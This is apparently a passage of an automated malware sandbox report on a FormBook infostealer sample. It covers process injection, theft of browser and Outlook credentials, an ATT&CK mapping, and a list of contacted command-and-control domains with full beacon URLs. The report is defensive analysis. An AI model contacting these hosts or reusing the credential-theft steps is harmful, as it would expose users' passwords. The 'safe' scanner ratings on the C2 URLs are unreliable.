                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E71FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_005E71FA
                Source: lgkWBwqY15.exe, EDoVdgyZMIcTRp.exe, 00000004.00000002.3809859510.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000000.1587075755.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1733929422.0000000001860000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: EDoVdgyZMIcTRp.exe, 00000004.00000002.3809859510.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000000.1587075755.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1733929422.0000000001860000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: lgkWBwqY15.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
                Source: EDoVdgyZMIcTRp.exe, 00000004.00000002.3809859510.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000000.1587075755.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1733929422.0000000001860000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: EDoVdgyZMIcTRp.exe, 00000004.00000002.3809859510.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000000.1587075755.0000000001781000.00000002.00000001.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1733929422.0000000001860000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: yProgram Manager
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C65C4 cpuid 0_2_005C65C4
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,0_2_005F091D
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_0061B340 GetUserNameW,0_2_0061B340
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D1E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_005D1E8E
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BDDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_005BDDC0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3804477887.0000000003250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3812598853.0000000004F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663229690.00000000038E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3813749544.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663999831.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3813400282.0000000004F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1662680828.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3813389290.0000000002E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\rasdial.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: lgkWBwqY15.exeBinary or memory string: WIN_81
                Source: lgkWBwqY15.exeBinary or memory string: WIN_XP
                Source: lgkWBwqY15.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
                Source: lgkWBwqY15.exeBinary or memory string: WIN_XPe
                Source: lgkWBwqY15.exeBinary or memory string: WIN_VISTA
                Source: lgkWBwqY15.exeBinary or memory string: WIN_7
                Source: lgkWBwqY15.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3804477887.0000000003250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3812598853.0000000004F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663229690.00000000038E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3813749544.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663999831.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3813400282.0000000004F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1662680828.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3813389290.0000000002E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F8C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_005F8C4F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_005F923B

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		2
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1569367 Sample: lgkWBwqY15.exe Startdate: 05/12/2024 Architecture: WINDOWS Score: 100 28 www.trendave.xyz 2->28 30 www.soainsaat.xyz 2->30 32 20 other IPs or domains 2->32 42 Multi AV Scanner detection for submitted file 2->42 44 Yara detected FormBook 2->44 46 Binary is likely a compiled AutoIt script file 2->46 50 2 other signatures 2->50 10 lgkWBwqY15.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Writes to foreign memory regions 10->64 66 Maps a DLL or memory area into another process 10->66 68 Switches to a custom stack to bypass stack traces 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 EDoVdgyZMIcTRp.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 rasdial.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 EDoVdgyZMIcTRp.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.trendave.xyz 203.161.42.73, 49991, 49992, 49993 VNPT-AS-VNVNPTCorpVN Malaysia 22->34 36 www.lgdiamonds.info 130.185.109.77, 49965, 49972, 49979 XIRRADE Germany 22->36 38 10 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                lgkWBwqY15.exe68%ReversingLabsWin32.Trojan.AutoitInject
                lgkWBwqY15.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://www.hover.com/domain_pricing?source=parked0%Avira URL Cloudsafe
                http://www.trendave.xyz/nhcb/?dTb4=Jt/EBXmNn0Xont3Xv3TOM+yOUqyvoLVFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJDDiyl1OehOlyh0vowHWBwan18nHKSsm9apo=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                https://www.hover.com/privacy?source=parked0%Avira URL Cloudsafe
                https://www.hover.com/renew?source=parked0%Avira URL Cloudsafe
                https://www.hover.com/transfer_in?source=parked0%Avira URL Cloudsafe
                http://www.nb-shenshi.buzz/1mwk/0%Avira URL Cloudsafe
                http://www.lgdiamonds.info/cv1w/?dTb4=KIRaABhBgujzn3KWmND9cpAT+69hyUlHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDenyf/VaqFdBH2zeyTKHH5ggy7thA9ElsxqlA=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                http://www.rysanekbeton.cloud/3g99/0%Avira URL Cloudsafe
                http://www.bcg.services/5onp/0%Avira URL Cloudsafe
                http://www.127358.win/qn33/0%Avira URL Cloudsafe
                http://www.75178.club/vl4d/?mZwPH=xrgxJbs&dTb4=QHNq3VljPHXHL8Z9j/8QJFBBwlzGlceqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym9BF13K8Q1XQhnhpOyo2cx8TBMgz6YBiUdrw=0%Avira URL Cloudsafe
                https://www.hover.com/email?source=parked0%Avira URL Cloudsafe
                http://www.rafconstrutora.online/0xli/0%Avira URL Cloudsafe
                http://www.jalan2.online/lvda/?mZwPH=xrgxJbs&dTb4=ELDSXX2RsHX+gMhDzPeoz2Qv1CIr49o7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYtvAdB7YlcQ+QyNvs5R5nS8FwKp0R1nLwRVA=0%Avira URL Cloudsafe
                http://www.rysanekbeton.cloud/3g99/?dTb4=RytNeZ1XRv60mT65LsYQ5INcqxgXEBqckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaVR+YOqFGQWyyR84NXiU2Qjtx7QpSgO7A7TM=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                https://www.hover.com/about?source=parked0%Avira URL Cloudsafe
                http://www.43kdd.top/bsyy/0%Avira URL Cloudsafe
                http://www.rtpwslot888gol.sbs/jmkz/0%Avira URL Cloudsafe
                http://www.lgdiamonds.info/cv1w/0%Avira URL Cloudsafe
                http://www.jalan2.online/lvda/0%Avira URL Cloudsafe
                http://www.127358.win/qn33/?dTb4=99NzBUOu8EtmiwHIhwlVNNWIW2T1UOL90ZejPygVUj3ypAzbuWBUlAjLLmpNciJuv0EF7eUmh88cLf0Gn8IRWZq8N/WnBUbm+FhfiYpUJ/z5KGjHquGg3Rk=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                https://www.hover.com/tos?source=parked0%Avira URL Cloudsafe
                http://www.trendave.xyz/nhcb/0%Avira URL Cloudsafe
                http://www.rtpwslot888gol.sbs/jmkz/?dTb4=2/h6on3i5cEqQ5iv7IDFWRMTdWM2Mc2q2EbSJtEbgpp6+wmMOVJuzUCOWh5aW8O1XJ0bOuSOAqNryZfPUVNa1P4YKRIrovimkPK1vyRK5mZ59623Ms+MCds=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                http://www.rtpwslot888gol.sbs0%Avira URL Cloudsafe
                http://www.prototype.garden/mjdo/0%Avira URL Cloudsafe
                http://www.43kdd.top/bsyy/?mZwPH=xrgxJbs&dTb4=w9Wsyrfddra1GxcU+lvvJ4oQD8tz6DR/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVmQLOx1eC+oZSyzXb4OCTu1fvSZ9dZj0JPy4=0%Avira URL Cloudsafe
                https://help.hover.com/home?source=parked0%Avira URL Cloudsafe
                http://www.rafconstrutora.online/0xli/?dTb4=fiwXgneLShVjQCrI9aBxnX/fmVewD7CFPQo9HslC8d9LCicIVxdgVPkWu4N9YPZNTEC7g2Z77mR61ZpsKE29+4q+gTyyPmzyfROIutba2dTwdDTCdKrAw2s=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                https://www.hover.com/tools?source=parked0%Avira URL Cloudsafe
                http://www.bcg.services/5onp/?dTb4=YQtAzQFhELh+NSSoDqDomWI7hzIl6D7m8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+fzOEqsDAm7S1kqbvRDHjk03D4Hi835h1BXQ=&mZwPH=xrgxJbs0%Avira URL Cloudsafe
                https://www.hover.com/?source=parked0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.lgdiamonds.info
                		130.185.109.77
                		truefalse
                  		unknown
                  www.trendave.xyz
                  		203.161.42.73
                  		truetrue
                    		unknown
                    43kdd.top
                    		38.47.232.202
                    		truefalse
                      		unknown
                      www.rafconstrutora.online
                      		104.21.34.103
                      		truefalse
                        		high
                        www.rtpwslot888gol.sbs
                        		172.67.178.248
                        		truefalse
                          		unknown
                          www.bcg.services
                          		199.59.243.227
                          		truefalse
                            		high
                            natroredirect.natrocdn.com
                            		85.159.66.93
                            		truefalse
                              		high
                              www.127358.win
                              		206.238.89.119
                              		truefalse
                                		unknown
                                jalan2.online
                                		108.181.189.7
                                		truefalse
                                  		unknown
                                  gtml.huksa.huhusddfnsuegcdn.com
                                  		23.167.152.41
                                  		truefalse
                                    		high
                                    www.nb-shenshi.buzz
                                    		161.97.168.245
                                    		truefalse
                                      		high
                                      rysanekbeton.cloud
                                      		81.2.196.19
                                      		truefalse
                                        		unknown
                                        www.prototype.garden
                                        		216.40.34.41
                                        		truefalse
                                          		unknown
                                          www.43kdd.top
                                          		unknown
                                          		unknownfalse
                                            		unknown
                                            www.rysanekbeton.cloud
                                            		unknown
                                            		unknownfalse
                                              		unknown
                                              www.soainsaat.xyz
                                              		unknown
                                              		unknowntrue
                                                		unknown
                                                www.75178.club
                                                		unknown
                                                		unknownfalse
                                                  		unknown
                                                  www.jalan2.online
                                                  		unknown
                                                  		unknownfalse
                                                    		unknown
                                                    www.egldfi.xyz
                                                    		unknown
                                                    		unknowntrue
                                                      		unknown
                                                      www.betmatchx.online
                                                      		unknown
                                                      		unknownfalse
                                                        		unknown

                                                        Contacted URLs

                                                        NameMaliciousAntivirus DetectionReputation
                                                        http://www.127358.win/qn33/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.lgdiamonds.info/cv1w/?dTb4=KIRaABhBgujzn3KWmND9cpAT+69hyUlHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDenyf/VaqFdBH2zeyTKHH5ggy7thA9ElsxqlA=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.trendave.xyz/nhcb/?dTb4=Jt/EBXmNn0Xont3Xv3TOM+yOUqyvoLVFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJDDiyl1OehOlyh0vowHWBwan18nHKSsm9apo=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.nb-shenshi.buzz/1mwk/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.rysanekbeton.cloud/3g99/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.bcg.services/5onp/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.75178.club/vl4d/?mZwPH=xrgxJbs&dTb4=QHNq3VljPHXHL8Z9j/8QJFBBwlzGlceqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym9BF13K8Q1XQhnhpOyo2cx8TBMgz6YBiUdrw=false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.rysanekbeton.cloud/3g99/?dTb4=RytNeZ1XRv60mT65LsYQ5INcqxgXEBqckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaVR+YOqFGQWyyR84NXiU2Qjtx7QpSgO7A7TM=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.jalan2.online/lvda/?mZwPH=xrgxJbs&dTb4=ELDSXX2RsHX+gMhDzPeoz2Qv1CIr49o7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYtvAdB7YlcQ+QyNvs5R5nS8FwKp0R1nLwRVA=false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.rafconstrutora.online/0xli/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.rtpwslot888gol.sbs/jmkz/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.lgdiamonds.info/cv1w/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.43kdd.top/bsyy/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.jalan2.online/lvda/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.127358.win/qn33/?dTb4=99NzBUOu8EtmiwHIhwlVNNWIW2T1UOL90ZejPygVUj3ypAzbuWBUlAjLLmpNciJuv0EF7eUmh88cLf0Gn8IRWZq8N/WnBUbm+FhfiYpUJ/z5KGjHquGg3Rk=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.trendave.xyz/nhcb/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.prototype.garden/mjdo/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.rtpwslot888gol.sbs/jmkz/?dTb4=2/h6on3i5cEqQ5iv7IDFWRMTdWM2Mc2q2EbSJtEbgpp6+wmMOVJuzUCOWh5aW8O1XJ0bOuSOAqNryZfPUVNa1P4YKRIrovimkPK1vyRK5mZ59623Ms+MCds=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.43kdd.top/bsyy/?mZwPH=xrgxJbs&dTb4=w9Wsyrfddra1GxcU+lvvJ4oQD8tz6DR/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVmQLOx1eC+oZSyzXb4OCTu1fvSZ9dZj0JPy4=false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.rafconstrutora.online/0xli/?dTb4=fiwXgneLShVjQCrI9aBxnX/fmVewD7CFPQo9HslC8d9LCicIVxdgVPkWu4N9YPZNTEC7g2Z77mR61ZpsKE29+4q+gTyyPmzyfROIutba2dTwdDTCdKrAw2s=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.bcg.services/5onp/?dTb4=YQtAzQFhELh+NSSoDqDomWI7hzIl6D7m8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+fzOEqsDAm7S1kqbvRDHjk03D4Hi835h1BXQ=&mZwPH=xrgxJbsfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown

                                                        URLs from Memory and Binaries

                                                        NameSourceMaliciousAntivirus DetectionReputation
                                                        https://www.hover.com/domain_pricing?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.hover.com/privacy?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://duckduckgo.com/chrome_newtabrasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://twitter.com/hoverrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                            		high
                                                            https://duckduckgo.com/ac/?q=rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://www.instagram.com/hover_domainsrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                		high
                                                                https://www.hover.com/transfer_in?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://www.hover.com/renew?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://www.ecosia.org/newtab/rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://www.hover.com/email?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://www.hover.com/about?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://ac.ecosia.org/autocomplete?q=rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://www.google.comrasdial.exe, 00000005.00000002.3814707564.0000000005D26000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.0000000003866000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                          		high
